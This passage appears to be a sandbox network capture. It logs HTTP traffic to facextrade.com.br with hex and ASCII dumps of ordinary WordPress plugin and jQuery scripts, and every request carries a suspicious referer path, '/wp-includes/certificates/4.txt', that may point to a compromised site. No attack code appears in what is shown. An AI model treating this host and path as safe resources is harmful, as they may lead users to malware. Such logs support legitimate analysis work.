3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.c
Aug 16, 2022 11:50:11.063038111 CEST	1527	IN	Data Raw: 6f 75 6e 74 3d 64 2e 73 6c 69 64 65 73 2e 6c 65 6e 67 74 68 2c 64 2e 73 79 6e 63 45 78 69 73 74 73 3d 61 28 64 2e 76 61 72 73 2e 73 79 6e 63 29 2e 6c 65 6e 67 74 68 3e 30 2c 22 73 6c 69 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 Data Ascii: ount=d.slides.length,d.syncExists=a(d.vars.sync).length>0,"slide"===d.vars.animation&&(d.vars.animation="swing"),d.prop=k?"top":"marginLeft",d.args={},d.manualPause=!1,d.stopped=!1,d.started=!1,d.startTimeout=null,d.transitions=!d.vars.video&&
Aug 16, 2022 11:50:11.063061953 CEST	1528	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 30 3e 62 3f 64 2e 67 65 74 54 61 72 67 65 74 28 22 6e 65 78 74 22 29 3a 64 2e 67 65 74 54 61 72 67 65 74 28 22 70 72 65 76 22 29 Data Ascii: function(a,b){a.preventDefault();var f=0>b?d.getTarget("next"):d.getTarget("prev");d.flexAnimate(f,d.vars.pauseOnAction)}),d.vars.pausePlay&&p.pausePlay.setup(),d.vars.slideshow&&d.vars.pauseInvisible&&p.pauseInvisible.init(),d.vars.slideshow&
Aug 16, 2022 11:50:11.063085079 CEST	1530	IN	Data Raw: 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 64 2e 63 75 72 72 65 6e 74 49 74 65 6d 3c 65 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c Data Ascii: \|\|(d.direction=d.currentItem<e?"next":"prev",d.flexAnimate(e,d.vars.pauseOnAction,!1,!0,!0))})})):d.slides.on(h,function(b){b.preventDefault();var c=a(this),f=c.index(),g=c.offset().left-a(d).scrollLeft();0>=g&&c.hasClass(e+"active-slide")?d.f
Aug 16, 2022 11:50:11.063107014 CEST	1531	IN	Data Raw: 61 72 20 63 3d 61 28 74 68 69 73 29 2c 66 3d 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 69 6e 64 65 78 28 63 29 3b 63 2e 68 61 73 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 22 29 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 66 3e 64 2e 63 75 72 72 Data Ascii: ar c=a(this),f=d.controlNav.index(c);c.hasClass(e+"active")\|\|(d.direction=f>d.currentSlide?"next":"prev",d.flexAnimate(f,d.vars.pauseOnAction))}""===i&&(i=b.type),p.setToClearWatchedEvent()})},setupManual:function(){d.controlNav=d.manualContro
Aug 16, 2022 11:50:11.063128948 CEST	1533	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 29 2e 61 70 70 65 6e 64 28 62 29 2c 64 2e 64 69 72 65 63 74 69 6f 6e 4e 61 76 3d 61 28 22 2e 22 2b 65 2b 22 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 6c 69 20 61 22 2c 64 2e 63 6f 6e 74 72 6f 6c 73 43 6f 6e 74 61 69 6e 65 Data Ascii: ontainer).append(b),d.directionNav=a("."+e+"direction-nav li a",d.controlsContainer)):(d.append(b),d.directionNav=a("."+e+"direction-nav li a",d)),p.directionNav.update(),d.directionNav.bind(h,function(b){b.preventDefault();var c;(""===i\|\|i===
Aug 16, 2022 11:50:11.063149929 CEST	1534	IN	Data Raw: 29 2c 22 22 3d 3d 3d 69 26 26 28 69 3d 62 2e 74 79 70 65 29 2c 70 2e 73 65 74 54 6f 43 6c 65 61 72 57 61 74 63 68 65 64 45 76 65 6e 74 28 29 7d 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 70 6c 61 79 22 3d 3d 3d 61 3f 64 Data Ascii: ),""===i&&(i=b.type),p.setToClearWatchedEvent()})},update:function(a){"play"===a?d.pausePlay.removeClass(e+"pause").addClass(e+"play").html(d.vars.playText):d.pausePlay.removeClass(e+"play").addClass(e+"pause").html(d.vars.pauseText)}},touch:f
Aug 16, 2022 11:50:11.063172102 CEST	1535	IN	Data Raw: 61 74 68 2e 61 62 73 28 6b 29 3e 67 2f 32 29 3f 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 6d 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c Data Ascii: ath.abs(k)>g/2)?d.flexAnimate(m,d.vars.pauseOnAction):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}b.removeEventListener("touchend",t,!1),a=null,c=null,h=null,e=null}function u(a){a.stopPropagation(),d.animating?a.preventDefault():
Aug 16, 2022 11:50:11.063194990 CEST	1537	IN	Data Raw: 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 30 29 7d 61 3d 6e 75 6c 6c 2c 63 3d 6e 75 6c 6c 2c 68 3d 6e 75 6c 6c Data Ascii: ion):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}a=null,c=null,h=null,e=null,q=0}}var a,c,e,g,h,i,j=!1,o=0,p=0,q=0;f?(b.style.msTouchAction="none",b._gesture=new MSGesture,b._gesture.target=b,b.addEventListener("MSPointerDown",u,!
Aug 16, 2022 11:50:11.063218117 CEST	1538	IN	Data Raw: 48 69 64 64 65 6e 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 73 50 72 6f 70 3d 61 5b 62 5d 2b 22 48 69 64 64 65 6e 22 29 3b 69 66 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 Data Ascii: Hidden"in document&&(p.pauseInvisible.visProp=a[b]+"Hidden");if(p.pauseInvisible.visProp){var c=p.pauseInvisible.visProp.replace(/[H\|h]idden/,"")+"visibilitychange";document.addEventListener(c,function(){p.pauseInvisible.isHidden()?d.startTime
Aug 16, 2022 11:50:11.277988911 CEST	1608	IN	Data Raw: 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 61 63 74 69 76 65 28 29 2c 6d 7c 7c 64 2e 73 6c 69 64 65 73 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 2d 73 6c 69 64 65 22 29 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 65 2b 22 61 Data Ascii: .controlNav.active(),m\|\|d.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),d.atEnd=0===b\|\|b===d.last,d.vars.directionNav&&p.directionNav.update(),b===d.last&&(d.vars.end(d),d.vars.animationLoop\|\|d.pause()),n)g?(d.slides.eq
Aug 16, 2022 11:50:11.279742002 CEST	1616	OUT	GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:11.494626999 CEST	1686	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:48:14 GMT Server: Apache ETag: "a4f9ec-6fd-58592ebe62040" Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT Content-Length: 1789 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664921 17189278 Age: 117 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20 Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play
Aug 16, 2022 11:50:11.702836037 CEST	1755	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:11.922761917 CEST	1946	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:35 GMT Server: Apache ETag: "a4f8b7-570-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 1392 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664923 14781079 Age: 216 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: /! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ /(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){
Aug 16, 2022 11:50:11.931541920 CEST	1947	OUT	GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:12.146773100 CEST	2327	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:31 GMT Server: Apache ETag: "a4f8b3-ada-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664925 21588131 Age: 220 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return 